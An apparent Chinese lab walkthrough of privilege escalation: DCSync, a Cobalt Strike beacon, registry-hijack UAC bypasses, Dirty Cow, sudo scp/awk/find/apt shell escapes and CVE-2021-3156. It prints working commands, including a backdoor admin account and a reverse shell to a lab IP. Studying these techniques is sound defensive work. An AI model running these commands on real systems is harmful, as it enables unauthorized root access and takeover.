\u5728\u4e8e\u57df\u5185\u4e0d\u540cDC\u4e4b\u95f4\u4f1a\u8fdb\u884c\u6570\u636e\u540c\u6b65\u590d\u5236\uff08\u9ed8\u8ba4\u6bcf15\u5206\u949f\u540c\u6b65\uff09\uff0c\u5f53\u4e00\u4e2aDC\u4ece\u53e6\u4e00\u4e2aDC\u540c\u6b65\u6570\u636e\u65f6\uff0c\u53d1\u8d77\u8bf7\u6c42\u7684\u4e00\u65b9\u4f1a\u901a\u8fc7\u76ee\u5f55\u590d\u5236\u534f\u8bae\uff08MS-DRSR\uff09\u6765\u5bf9\u53e6\u4e00\u53f0DC\u79cd\u7684\u57df\u7528\u6237\u5bc6\u7801\u8fdb\u884c\u590d\u5236\u3002DCSync \u653b\u51fb\u7684\u672c\u8d28\u662f\u653b\u51fb\u8005\u6a21\u62df\u57df\u63a7\u5236\u5668\uff0c\u5411\u771f\u5b9e DC \u53d1\u8d77\u590d\u5236\u8bf7\u6c42\uff0c\u4ece\u800c\u83b7\u53d6\u57df\u5185\u7528\u6237\u7684\u51ed\u636e\u6570\u636e\uff08\u5982 NTLM Hash\uff09\uff0c\u751a\u81f3\u5305\u62ec krbtgt \u8d26\u6237\u5bc6\u94a5\uff0c\u5b9e\u73b0\u5bf9\u6574\u4e2a\u57df\u7684\u5b8c\u5168\u63a7\u5236\u3002
\u524d\u63d0\u6761\u4ef6\uff1a\u62e5\u6709\u57df\u590d\u5236\u6743\u9650\uff0c\u540c\u65f6\u9700\u8981\u80fd\u591f\u901a\u8fc7 RPC \u8bbf\u95ee\u57df\u63a7\u5236\u5668<\/strong>
\u901a\u5e38\u9ed8\u8ba4\u6388\u4e88 Domain Admins\u3001Enterprise Admins \u4ee5\u53ca\u57df\u63a7\u5236\u5668\u8ba1\u7b97\u673a\u8d26\u6237\u7b49\u9ad8\u6743\u9650\u4e3b\u4f53
\u7531\u4e8e DCSync \u5229\u7528\u4e86 Windows \u7684 RPC \u673a\u5236\uff0c\u901a\u8fc7\u76ee\u5f55\u590d\u5236\u534f\u8bae MS-DRSR \u4e0e\u57df\u63a7\u5236\u5668\u901a\u4fe1\uff0c\u56e0\u6b64\u653b\u51fb\u8005\u65e0\u9700\u767b\u5f55\u57df\u63a7\u4e3b\u673a\u6216\u5728\u5176\u4e0a\u843d\u5730\u6587\u4ef6\u5373\u53ef\u83b7\u53d6\u51ed\u636e\u6570\u636e\u3002\u8fd9\u79cd\u65b9\u5f0f\u51cf\u5c11\u4e86\u5bf9\u76ee\u6807\u4e3b\u673a\u7684\u76f4\u63a5\u64cd\u4f5c\uff0c\u4ece\u800c\u964d\u4f4e\u88abEDR\u68c0\u6d4b\u98ce\u9669\u3002<\/strong><\/p>\n\n\n\n

Windows RPC\uff1a<\/strong>\u662f\u4e00\u79cd\u8fdc\u7a0b\u8fc7\u7a0b\u8c03\u7528\u673a\u5236\uff0c\u5141\u8bb8\u4e00\u53f0\u4e3b\u673a\u50cf\u8c03\u7528\u672c\u5730\u51fd\u6570\u4e00\u6837\u8c03\u7528\u53e6\u4e00\u53f0\u4e3b\u673a\u4e0a\u7684\u7a0b\u5e8f\u529f\u80fd\u3002\u5176\u6838\u5fc3\u601d\u60f3\u662f\u628a\u201c\u8fdc\u7a0b\u8c03\u7528\u201d\u62bd\u8c61\u4e3a\u201c\u672c\u5730\u51fd\u6570\u8c03\u7528\u201d
\u5de5\u4f5c\u6d41\u7a0b\uff1a
1.\u5ba2\u6237\u7aef\u9996\u5148\u8fde\u63a5 TCP 135 \u7aef\u53e3\uff08RPC Endpoint Mapper\uff09\uff0c\u7528\u4e8e\u67e5\u8be2\u76ee\u6807\u670d\u52a1\u6240\u5728\u7aef\u53e3\u3002
2.RPC Endpoint Mapper \u8fd4\u56de\u76ee\u6807\u670d\u52a1\u7ed1\u5b9a\u7684\u52a8\u6001\u7aef\u53e3\uff08\u5982 TCP 49672\uff09\u3002
3.\u5ba2\u6237\u7aef\u6839\u636e\u8fd4\u56de\u7ed3\u679c\uff0c\u8fde\u63a5TCP 49672\u9ad8\u4f4d\u7aef\u53e3\u3002
4.\u5ba2\u6237\u7aef\u901a\u8fc7\u8be5\u8fde\u63a5\u8c03\u7528\u8fdc\u7a0b\u670d\u52a1\u63a5\u53e3\uff0c\u5b9e\u73b0\u5177\u4f53\u529f\u80fd\uff08\u5982\u6570\u636e\u590d\u5236\u3001\u8fdc\u7a0b\u7ba1\u7406\u7b49\uff09\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

CS\u6743\u9650\u63d0\u5347<\/h4>\n\n\n\n

\u5229\u7528CS\u8fdb\u884c\u4e3b\u673a\u6728\u9a6c\u751f\u6210\uff0c\u843d\u5730\u6587\u4ef6artifact_x64.exe<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4e0a\u4f20\u5230\u76ee\u6807\u4e3b\u673a\u8fdb\u884c\u6267\u884c<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4e3b\u673a\u4e0a\u7ebfCS\uff0c\u51fa\u73b0\u4e00\u4e2aBeacon\u4f1a\u8bdd
\u7f51\u7edc\u5c42\u9762\u4f1a\u8fdb\u884c\u5468\u671f\u6027\u7684\u5fc3\u8df3\u901a\u4fe1\uff0c\u4e3b\u673a\u4fa7\u5f53Beacon\u6267\u884c\u547d\u4ee4\u7684\u65f6\u5019\uff0c\u4e3b\u673a\u4fa7\u4f1a\u751f\u6210cmd\u7136\u540e\u6267\u884c\u547d\u4ee4\u5c06\u6267\u884c\u7ed3\u679c\u901a\u8fc7\u7ba1\u9053\uff08pipe\uff09\u91cd\u5b9a\u5411\u56de\u5230Beacon\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u8fdb\u884c\u6743\u9650\u63d0\u5347<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u83b7\u53d6\u5230System\u6743\u9650<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u66f4\u6539\u6ce8\u518c\u8868ms-setting\u7ed5\u8fc7UAC\u6267\u884c\u9ad8\u6743\u9650<\/h4>\n\n\n\n

\u5f53\u653b\u51fb\u8005\u5df2\u83b7\u53d6 Administrator \u6743\u9650\u4f46\u4ecd\u53d7 UAC \u9650\u5236\uff08\u5904\u4e8e Medium Integrity\uff09\u65f6\uff0c\u53ef\u901a\u8fc7 UAC \u7ed5\u8fc7\u6280\u672f\u63d0\u5347\u81f3 High Integrity\u3002\u5728 Windows \u4e2d\uff0c\u90e8\u5206\u7cfb\u7edf\u7a0b\u5e8f\u88ab\u6807\u8bb0\u4e3a autoElevate\uff0c\u8fd9\u4e9b\u7a0b\u5e8f\u5728\u542f\u52a8\u65f6\u4f1a\u81ea\u52a8\u4ee5\u9ad8\u5b8c\u6574\u6027\u8fd0\u884c\u4e14\u4e0d\u4f1a\u89e6\u53d1 UAC \u63d0\u793a\u3002\u5982\u679c\u8fd9\u4e9b\u7a0b\u5e8f\u5728\u6267\u884c\u8fc7\u7a0b\u4e2d\u4f9d\u8d56\u7528\u6237\u53ef\u63a7\u7684\u914d\u7f6e\uff08\u5982\u7279\u5b9a\u6ce8\u518c\u8868\u9879\uff09\u6765\u51b3\u5b9a\u6267\u884c\u8def\u5f84\uff0c\u653b\u51fb\u8005\u5373\u53ef\u901a\u8fc7\u52ab\u6301\u76f8\u5173\u914d\u7f6e\uff0c\u4f7f\u5176\u5728\u9ad8\u6743\u9650\u4e0a\u4e0b\u6587\u4e2d\u6267\u884c\u6307\u5b9a\u547d\u4ee4\uff0c\u4ece\u800c\u5b9e\u73b0 UAC \u7ed5\u8fc7\u3002<\/p>\n\n\n\n

\u6838\u5fc3\u539f\u7406\uff1afodhelper\u52ab\u6301\uff1a<\/strong>C:\\Windows\\System32\\fodhelper.exe\u662f Windows \u7528\u4e8e\u7ba1\u7406\u53ef\u9009\u529f\u80fd\u7684\u7a0b\u5e8f\u3002\u5b83\u5177\u6709\u4e24\u4e2a\u5173\u952e\u7279\u6027
1.\u6807\u8bb0\u4e3aAuto-Elevate
2.\u542f\u52a8\u65f6\u4f1a\u68c0\u67e5HKEY_CURRENT_USER<\/code> (HKCU) \u8f6f\u4ef6\u6811\u4e2d\u5173\u4e8e ms-settings<\/code> \u534f\u8bae\u7684\u6620\u5c04\u3002\uff08ms-settings \u534f\u8bae\u7528\u4e8e\u6307\u5b9a\u67d0\u7c7b\u8bf7\u6c42\u7684\u5904\u7406\u7a0b\u5e8f\uff0c\u800c fodhelper.exe \u5728\u6267\u884c\u8fc7\u7a0b\u4e2d\u4f1a\u89e3\u6790\u8be5\u534f\u8bae\uff0c\u5e76\u6839\u636e\u6ce8\u518c\u8868\u4e2d\u7684\u6620\u5c04\u5173\u7cfb\u51b3\u5b9a\u8c03\u7528\u54ea\u4e2a\u7a0b\u5e8f\u3002\uff09<\/p>\n\n\n\n

\u521b\u5efa\u4e00\u4e2a\u65b0\u7528\u6237\u52a0\u5165\u7ba1\u7406\u5458\u7ec4<\/p>\n\n\n\n

# \u521b\u5efa\u4e00\u4e2a\u540d\u4e3a testuser \u7684\u7528\u6237\uff0c\u5bc6\u7801\u4e3a Password123\nnet user testuser Password123 \/add\n# \u5c06\u8be5\u7528\u6237\u52a0\u5165\u7ba1\u7406\u5458\u7ec4\nnet localgroup administrators testuser \/add<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fdb\u884c\u6ce8\u518c\u8868\u52ab\u6301<\/p>\n\n\n\n
# 1. \u521b\u5efa ms-settings \u534f\u8bae\u7684\u7c7b\u8def\u5f84\nNew-Item -Path \"HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -Force\n\n# 2. \u8bbe\u7f6e DelegateExecute \u952e\u503c\uff08\u5fc5\u987b\u5b58\u5728\uff0c\u4f46\u7559\u7a7a\uff0c\u7528\u4e8e\u89e6\u53d1\u52ab\u6301\uff09\nNew-ItemProperty -Path \"HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\n\n# 3. \u5c06 (Default) \u952e\u6307\u5411\u4f60\u60f3\u8981\u6267\u884c\u7684\u6076\u610f\u547d\u4ee4\nSet-ItemProperty -Path \"HKCU:\\Software\\Classes\\ms-settings\\Shell\\Open\\command\" -Name \"(Default)\" -Value \"cmd.exe \/c start cmd.exe\" -Force\n\nWin7\u65e0ms-setting\u53ef\u4ee5\u6362\u6210mscfile\u8fdb\u884c<\/strong>\nHKCU\\Software\\Classes\\mscfile\\shell\\open\\command \u6ce8\u518c\u8868\u9879\u5b9a\u4e49\u4e86 .msc \u6587\u4ef6\u7684\u6253\u5f00\u65b9\u5f0f\u3002\u5f53\u8be5\u9879\u88ab\u4fee\u6539\u4e3a\u6267\u884c cmd \u540e\uff0ceventvwr.exe \u5728\u542f\u52a8\u8fc7\u7a0b\u4e2d\u8c03\u7528 .msc \u6587\u4ef6\u65f6\uff0c\u4f1a\u6309\u7167\u5f53\u524d\u7528\u6237\u6ce8\u518c\u8868\u4e2d\u7684\u6620\u5c04\u5173\u7cfb\u6267\u884c cmd\uff0c\u4ece\u800c\u5b9e\u73b0\u547d\u4ee4\u6267\u884c\u3002<\/code><\/pre>\n\n\n\n
# \u521b\u5efa mscfile \u7684 shell \u7ed3\u6784\nNew-Item -Path \"HKCU:\\Software\\Classes\\mscfile\\shell\\open\\command\" -Force\n\n# \u5c06\u9ed8\u8ba4\u503c\u6307\u5411\u4f60\u60f3\u8fd0\u884c\u7684\u7a0b\u5e8f\nSet-ItemProperty -Path \"HKCU:\\Software\\Classes\\mscfile\\shell\\open\\command\" -Name \"(Default)\" -Value \"cmd.exe \/c start cmd.exe\" -Force\n\n# \u542f\u52a8 Windows 7 \u81ea\u5e26\u7684\u4e8b\u4ef6\u67e5\u770b\u5668\nStart-Process \"C:\\Windows\\System32\\eventvwr.exe\"<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
mscfile \u7528\u4e8e\u5b9a\u4e49 .msc \u6587\u4ef6\u7684\u6253\u5f00\u65b9\u5f0f\uff0c\u5373\u6307\u5b9a\u6253\u5f00\u8be5\u7c7b\u578b\u6587\u4ef6\u65f6\u8c03\u7528\u7684\u5904\u7406\u7a0b\u5e8f\uff1b\u800c ms-settings \u5219\u7528\u4e8e\u5b9a\u4e49\u5f53 ms-settings \u534f\u8bae\u88ab\u89e3\u6790\u65f6\u7531\u54ea\u4e2a\u7a0b\u5e8f\u8fdb\u884c\u5904\u7406\u3002\u5728\u76f8\u5173\u6ce8\u518c\u8868\u9879\u88ab\u52ab\u6301\u7684\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e9b\u5904\u7406\u7a0b\u5e8f\u53ef\u4ee5\u88ab\u66ff\u6362\u4e3a\u653b\u51fb\u8005\u6307\u5b9a\u7684\u547d\u4ee4\uff0c\u4ece\u800c\u5b9e\u73b0\u9ad8\u6743\u9650\u6267\u884c\u3002<\/p>\n\n\n\n
Linux<\/h3>\n\n\n\n
CVE-2016-5195 Dirty Cow<\/h4>\n\n\n\n
\u5f71\u54cd\u8303\u56f4\uff1aLinux Kernel >= 2.6.22\u5f00\u59cb\u5c31\u53d7\u5f71\u54cd\u4e86\u76f4\u52302016\u5e7410\u670818\u65e5\u624d\u4fee\u590d<\/strong><\/p>\n\n\n\n
\u4e00\u53e5\u8bdd\u539f\u7406\uff1a<\/strong>\u5229\u7528 Linux \u4e2d Copy-On-Write \u673a\u5236\u7684\u7ade\u6001\u6761\u4ef6\uff0c\u901a\u8fc7\u540c\u65f6\u89e6\u53d1\u5199\u64cd\u4f5c\u548c madvise()<\/code> \u5185\u5b58\u56de\u6536\uff0c\u4f7f\u5185\u6838\u5728\u201c\u590d\u5236\u201d\u548c\u201c\u5199\u5165\u201d\u4e4b\u95f4\u51fa\u73b0\u72b6\u6001\u4e0d\u4e00\u81f4\uff0c\u4ece\u800c\u5c06\u6570\u636e\u9519\u8bef\u5730\u5199\u5165\u539f\u672c\u53ea\u8bfb\u7684\u5185\u5b58\u533a\u57df\uff0c\u5b9e\u73b0\u6743\u9650\u63d0\u5347\u3002<\/p>\n\n\n\n
Copy-On-Write\uff08\u5199\u65f6\u590d\u5236\u6280\u672f\uff09<\/strong>
Linux\u4e3a\u4e86\u8282\u7701\u5185\u5b58\uff0c\u4f1a\u8ba9\u8fdb\u7a0bA\u548c\u8fdb\u7a0bB\u5171\u4eab\u4e00\u5757\u5185\u5b58\uff08\u53ea\u8bfb\uff09\uff0c\u5f53\u67d0\u4e2a\u8fdb\u7a0b\u8981\u5199\u65f6\u7cfb\u7edf\u590d\u5236\u4e00\u4efd\u5185\u5b58\u518d\u5199\u5373\u5199\u65f6\u590d\u5236\u3002\uff08\u4e0d\u80fd\u76f4\u63a5\u4fee\u6539\u539f\u6570\u636e\u5fc5\u987b\u5148\u590d\u5236\u518d\u4fee\u6539\uff09
\u95ee\u9898\uff1a\u201c\u590d\u5236\u201d\u548c\u201c\u5199\u5165\u201d\u4e4b\u95f4\u5b58\u5728\u65f6\u95f4\u5dee\uff0c\u4e5f\u5c31\u5b58\u5728\u7ade\u6001\u6761\u4ef6<\/strong>
\u89e6\u53d1\u5199\uff1a\u5c1d\u8bd5\u4fee\u6539\u53ea\u8bfb\u6587\u4ef6\u5bf9\u5e94\u7684\u5185\u5b58
\u89e6\u53d1\u5185\u5b58\u56de\u6536\uff1a\u8c03\u7528madvise\u5185\u5b58\u56de\u6536
\u653b\u51fb\u8005\u901a\u8fc7\u5728\u9ad8\u9891\u5faa\u73af\u4e2d\u540c\u65f6\u89e6\u53d1\u5199\u64cd\u4f5c\u548c madvise<\/code> \u5185\u5b58\u56de\u6536\u64cd\u4f5c\uff0c\u4f7f\u5185\u6838\u5728\u5904\u7406\u9875\u590d\u5236\u4e0e\u9875\u5931\u6548\u4e4b\u95f4\u4ea7\u751f\u7ade\u6001\u6761\u4ef6\uff0c\u5bfc\u81f4\u9875\u8868\u72b6\u6001\u4e0d\u4e00\u81f4\uff0c\u201c\u9875\u88ab\u590d\u5236\u201d\u548c\u201c\u9875\u88ab\u6807\u8bb0\u4e3a\u5931\u6548\u201d\u4e4b\u95f4\u7684\u6781\u77ed\u7a97\u53e3\u5185\uff0c\u72b6\u6001\u53ef\u80fd\u88ab\u53e6\u4e00\u4e2a\u7ebf\u7a0b\u5e72\u6270\u3002\u5bfc\u81f4\u5199\u64cd\u4f5c\u9519\u8bef\u5730\u5e94\u7528\u5230\u539f\u59cb\u53ea\u8bfb\u9875\uff0c\u800c\u4e0d\u662f\u6309COW\u673a\u5236\u5199\u5165\u590d\u5236\u540e\u7684\u9875\u3002<\/strong>\u4e00\u4e2a\u6ca1\u6709\u7279\u6743\u7684\u672c\u5730\u7528\u6237\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2a\u7f3a\u9677\u6765\u83b7\u5f97\u5bf9\u5176\u4ed6\u53ea\u8bfb\u5185\u5b58\u6620\u5c04\u7684\u5199\u6743\u9650\uff0c\u4ece\u800c\u83b7\u53d6\u5230\u66f4\u9ad8\u7684\u6743\u9650\u3002<\/p>\n\n\n\n
\u6743\u9650\u63d0\u5347\u68c0\u6d4b\u5de5\u5177\uff1a<\/strong>https:\/\/github.com\/The-Z-Labs\/linux-exploit-suggester.git<\/a><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
poc1:https:\/\/github.com\/gbonacini\/CVE-2016-5195<\/a>\u590d\u73b0\u5931\u8d25<\/p>\n\n\n\n
poc2:https:\/\/github.com\/FireFart\/dirtycow<\/a>\u590d\u73b0\u5931\u8d25<\/p>\n\n\n\n
\u5bf9POC\u8fdb\u884c\u7f16\u8bd1\uff0c\u811a\u672c\u8fd0\u884c\u6210\u529f\u4e86\u4f46\u662fcat \/etc\/passwd\u5e76\u6ca1\u6709\u53d1\u73b0\u65b0\u589e\u7528\u6237\uff0c\u590d\u73b0\u5931\u8d25<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6b63\u5e38\u590d\u73b0\u6210\u529f\u4f1a\u51fa\u73b0\u65b0\u589e\u7684\u9ad8\u6743\u9650\u7528\u6237<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Sudo Scp\u6743\u9650\u63d0\u5347<\/h4>\n\n\n\n
\u524d\u63d0\u6761\u4ef6\uff1a\u7528\u6237\u53ef\u4ee5\u4ee5 root \u6267\u884c scp<\/strong>\u3001sudo\u4e0d\u9650\u5236\u53c2\u6570\u3001\u53ef\u4ee5\u6307\u5b9a\u81ea\u5b9a\u4e49\u7a0b\u5e8f\u8def\u5f84\u3001scp \u5728\u6267\u884c\u65f6\u4f1a\u8c03\u7528\u8be5\u7a0b\u5e8f<\/strong><\/p>\n\n\n\n
SCP\u6709\u4e00\u4e2a-S\u53c2\u6570\u7528\u4e8e\u6307\u5b9a\u52a0\u5bc6\u4f20\u8f93\u65f6\u4f7f\u7528\u7684\u7a0b\u5e8f\uff08\u9ed8\u8ba4\u662fssh\uff09\u7531\u4e8escp\u4f1a\u4ee5root\u6743\u9650\u8fd0\u884c\u8fd9\u4e2a\u6307\u5b9a\u7684\u7a0b\u5e8f\uff0c\u53ef\u4ee5\u901a\u8fc7\u7f16\u5199\u7b80\u5355\u7684\u6076\u610f\u811a\u672c\u6765\u901a\u8fc7\u5b83\u6267\u884cshell
\u8c03\u7528\u94fe\uff1asudo \u2192 \u4ee5 root \u6267\u884c scp \u2192 scp \u8c03\u7528 ssh \u2192 ssh \u88ab\u66ff\u6362 \u2192 \u6267\u884c\u6076\u610f\u7a0b\u5e8f<\/p>\n\n\n\n
visudo\u8fdb\u884c\u4e00\u4e2a\u914d\u7f6e\uff0c\u5b9e\u73b0\u7528\u6237\u53ef\u4ee5root\u6267\u884cscp<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6784\u9020\u6076\u610f\u6587\u4ef6\uff0c<\/p>\n\n\n\n
echo 'bash -i >& \/dev\/tcp\/192.168.75.133\/4444 0>&1' > \/tmp\/shell.sh\nchmod +x \/tmp\/shell.sh\nsudo \/usr\/bin\/scp -S \/tmp\/shell.sh x y:<\/code><\/pre>\n\n\n\n
\u6267\u884cSCP\u7684\u65f6\u5019\u4ee5root\u8eab\u4efd\u6267\u884c\uff0cSCP\u672c\u8eab\u9ed8\u8ba4\u8c03\u7528SSH\u4f46\u662f\u8fd9\u91cc-S\u6307\u5b9a\u8c03\u7528\u6076\u610fshell\u811a\u672c\uff0c\u5bfc\u81f4root\u7528\u6237\u6267\u884c\u4e86\u53cd\u5f39shell<\/strong><\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Sudo Awk\u63d0\u6743<\/h4>\n\n\n\n
\u524d\u63d0\u6761\u4ef6\uff1a\u7528\u6237\u53ef\u4ee5\u4ee5 root \u6267\u884c awk<\/strong>\u3001sudo\u4e0d\u9650\u5236\u53c2\u6570\u3001awk \u7248\u672c\u652f\u6301 system() \u6216\u7b49\u6548\u547d\u4ee4\u6267\u884c\u3001\u73af\u5883\u672a\u505a\u4e25\u683c\u9650\u5236<\/strong><\/p>\n\n\n\n
awk\u662fLinux\u4e2d\u6587\u672c\u5904\u7406\u4e09\u5251\u5ba2\u4e4b\u4e00\uff0c\u5185\u7f6e\u4e86system()\u51fd\u6570\uff0csystem\u4f5c\u4e3a\u547d\u4ee4\u6267\u884c\u4e2d\u7684\u9ad8\u5371\u51fd\u6570\u5141\u8bb8\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u5f53\u901a\u8fc7sudo\u8fd0\u884cawk\u65f6\uff0c\u5176\u6d3e\u751f\u7684\u5b50\u8fdb\u7a0b\u4f1a\u7ee7\u627fRoot\u6743\u9650\u3002<\/p>\n\n\n\n
\u8d4b\u4e88\u4ee5root\u7528\u6237\u6267\u884cawk\u6743\u9650<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f7f\u7528awk\u8c03\u7528\u5185\u7f6esystem\u51fd\u6570\u6267\u884c\/bin\/sh\uff0c\u6b64\u65f6\u4f1a\u4ee5root\u8eab\u4efd\u6267\u884c\u83b7\u5f97shell<\/p>\n\n\n\n
sudo awk 'BEGIN {system(\"\/bin\/sh\")}'\nBEGIN\uff1a\u5728\u8bfb\u53d6\u4efb\u4f55\u8f93\u5165\u4e4b\u524d\u8fdb\u884c\nsystem(\"\/bin\/sh\")\u542f\u52a8shell<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Sudo Find\u63d0\u6743<\/h4>\n\n\n\n
\u524d\u63d0\u6761\u4ef6\uff1a\u7528\u6237\u53ef\u4ee5\u4ee5 root \u6267\u884c find<\/strong>\u3001sudo\u4e0d\u9650\u5236\u53c2\u6570\u3001\u73af\u5883\u672a\u505a\u4e25\u683c\u9650\u5236<\/strong><\/p>\n\n\n\n
find \u662f Linux \u4e2d\u7528\u4e8e\u6587\u4ef6\u67e5\u627e\u7684\u5de5\u5177\uff0c\u652f\u6301\u901a\u8fc7-exec<\/code>\u53c2\u6570\u5728\u67e5\u627e\u8fc7\u7a0b\u4e2d\u6267\u884c\u5916\u90e8\u547d\u4ee4\u3002\u5f53\u901a\u8fc7sudo\u8fd0\u884cfind\u65f6\uff0c\u4f1a\u4ee5root\u6743\u9650\u6267\u884c-exec\u3002<\/p>\n\n\n\n
\u8d4b\u4e88\u4ee5root\u7528\u6237\u6267\u884cfind\u6743\u9650<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f7f\u7528find\u547d\u4ee4\u7684-exec\u53c2\u6570\u6267\u884c\u547d\u4ee4\/bin\/sh\uff0c\u6b64\u65f6\u4f1a\u4ee5root\u8eab\u4efd\u6267\u884c\u83b7\u5f97shell<\/p>\n\n\n\n
sudo find . -exec \/bin\/sh \\; -quit\n.\u5728\u5f53\u524d\u76ee\u5f55\u641c\u7d22\n-exec \/bin\/sh\u5bf9\u641c\u7d22\u7ed3\u679c\u6267\u884cshell\n\\;-exec\u53c2\u6570\u7684\u56fa\u5b9a\u7ed3\u675f\u7b26\u53f7\n-quit\uff1a\u627e\u5230\u7b2c\u4e00\u4e2a\u7ed3\u679c\u540e\u7acb\u5373\u9000\u51fa<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
Sudo Apt\u6743\u9650\u63d0\u5347<\/h4>\n\n\n\n
\u524d\u63d0\uff1a\u7528\u6237\u53ef\u4ee5\u901a\u8fc7 sudo \u4ee5 root \u6743\u9650\u6267\u884c apt\/apt-get\uff0c\u4e14\u672a\u9650\u5236\u5176\u53c2\u6570\uff1b\u540c\u65f6\u7cfb\u7edf\u672a\u5bf9\u73af\u5883\u53d8\u91cf\uff08\u5982 PAGER\u3001EDITOR\uff09\u8fdb\u884c\u4e25\u683c\u6e05\u7406\uff0c\u4e14\u5141\u8bb8\u8c03\u7528\u5916\u90e8\u53ef\u4ea4\u4e92\u7a0b\u5e8f\uff08\u5982 less\uff09\uff0c\u4ece\u800c\u53ef\u4ee5\u5229\u7528\u5176\u547d\u4ee4\u6267\u884c\u80fd\u529b\u5b9e\u73b0\u63d0\u6743\u3002<\/strong><\/p>\n\n\n\n
apt-get\u662f\u4f20\u7edf\u7684\u547d\u4ee4\u884c\u5de5\u5177\u7528\u4e8e\u5b89\u88c5\u8f6f\u4ef6\u66f4\u65b0\u8f6f\u4ef6\uff0c\u5b50\u547d\u4ee4\u4e2dchangelog\u7528\u4e8e\u67e5\u770b\u67d0\u4e2a\u8f6f\u4ef6\u5305\u7684\u66f4\u65b0\u65e5\u5fd7\uff0c\u4ece\u8f6f\u4ef6\u6e90\u4e0b\u8f7dapt\u5305\u7684changelog\u628a\u5185\u5bb9\u8f93\u51fa\u51fa\u6765\u7684\u65f6\u5019\uff0c\u56e0\u4e3a\u5185\u5bb9\u8fc7\u957fapt-get\u4f1a\u8c03\u7528\u5206\u9875\u5668\u6765\u663e\u793a\uff0c\u9ed8\u8ba4\u901a\u5e38\u662fless\uff08root\u6743\u9650\uff09\u662f\u4e00\u4e2a\u53ef\u4ea4\u4e92\u7a0b\u5e8f\uff0c\u5229\u7528\u5176\u547d\u4ee4\u6267\u884c\u529f\u80fd\u542f\u52a8 shell\uff0c\u4ece\u800c\u83b7\u53d6 root \u6743\u9650\u3002<\/p>\n\n\n\n
\u8d4b\u4e88\u4ee5root\u7528\u6237\u6267\u884capt\u7684\u6743\u9650<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
sudo apt-get changelog apt\n!\/bin\/sh<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
CVE-2021-3156 sudo\u63d0\u6743<\/h4>\n\n\n\n
\u524d\u63d0\uff1asudo\u7248\u672c\u57281.8.2\u52301.9.5p1\u4e4b\u95f4\uff0c\u5373\u4fbf\u5f53\u524d\u7528\u6237\u4e0d\u5728sudoers\u5217\u8868\u4e2d\uff0c\u4e5f\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6root\u6743\u9650\u3002<\/strong><\/p>\n\n\n\n
\u5f53\u6267\u884csudoedit -s\uff08\u5e26\u6709-s\u6216-i\u53c2\u6570\uff09\u65f6\uff0csudo\u4f1a\u5bf9\u547d\u4ee4\u884c\u53c2\u6570\u4e2d\u7684\u53cd\u659c\u6760\\\u8fdb\u884c\u8f6c\u4e49\u5904\u7406\u3002\u7531\u4e8e\u4ee3\u7801\u903b\u8f91\u9519\u8bef\uff0c\u5982\u679c\u53c2\u6570\u4ee5\u5355\u4e2a\u53cd\u659c\u6760\u7ed3\u5c3e\uff0csudo\u4f1a\u9519\u8bef\u5730\u8d8a\u754c\u5199\u5165\u5185\u5b58\uff0c\u5bfc\u81f4\u5806\u6ea2\u51fa\u3002
\u7528\u6237\u8f93\u5165sudoedit -s ‘AAAA\\’\uff0csudo\u5185\u90e8\u4f1a\u5148\u8ba1\u7b97\u957f\u5ea6\u77e5\u9053\u8981\u5206\u914d\u591a\u5927\u5185\u5b58\uff0c\u518d\u62f7\u8d1d+\u5904\u7406\u8f6c\u4e49\uff0c\u628a\u5904\u7406\u540e\u7684\u5185\u5bb9\u5199\u8fdb\u5185\u5b58\u3002\u4f46\u662f\u4ee3\u7801\u5c42\u9762\u5b58\u5728bug\uff0cAAAA\\\u8ba1\u7b97\u957f\u5ea6\u7684\u65f6\u5019\u4f1a\u8ba4\u4e3a\u6700\u540e\u7684\\\u662f\u8f6c\u4e49\u7b26\u4f46\u540e\u9762\u6ca1\u6709\u5b57\u7b26\\\u6ca1\u88ab\u6b63\u786e\u8ba1\u5165\u957f\u5ea6\uff0c\u8ba1\u7b97\u957f\u5ea6\u4e3a4\uff0c\u5b9e\u9645\u62f7\u8d1d\u5b57\u7b26\u4e32\u65f6\u7a0b\u5e8f\u6ca1\u6709\u6b63\u786e\u5904\u7406\u5b64\u7acb\\\u8fd8\u662f\u89c6\u4e3a\u666e\u901a\u5b57\u7b26\uff0c\u5206\u914d\u5185\u5b584\u5b57\u8282\uff0c\u5b9e\u9645\u5199\u51655\u5b57\u8282\uff0c\u5bfc\u81f4\u4e86\u5806\u7f13\u51b2\u533a\u6ea2\u51fa\u3002<\/p>\n\n\n\n
\u67e5\u770bsudo\u7248\u672c\u5199\u4e2a\u63a2\u6d4b\u8bed\u53e5<\/p>\n\n\n\n
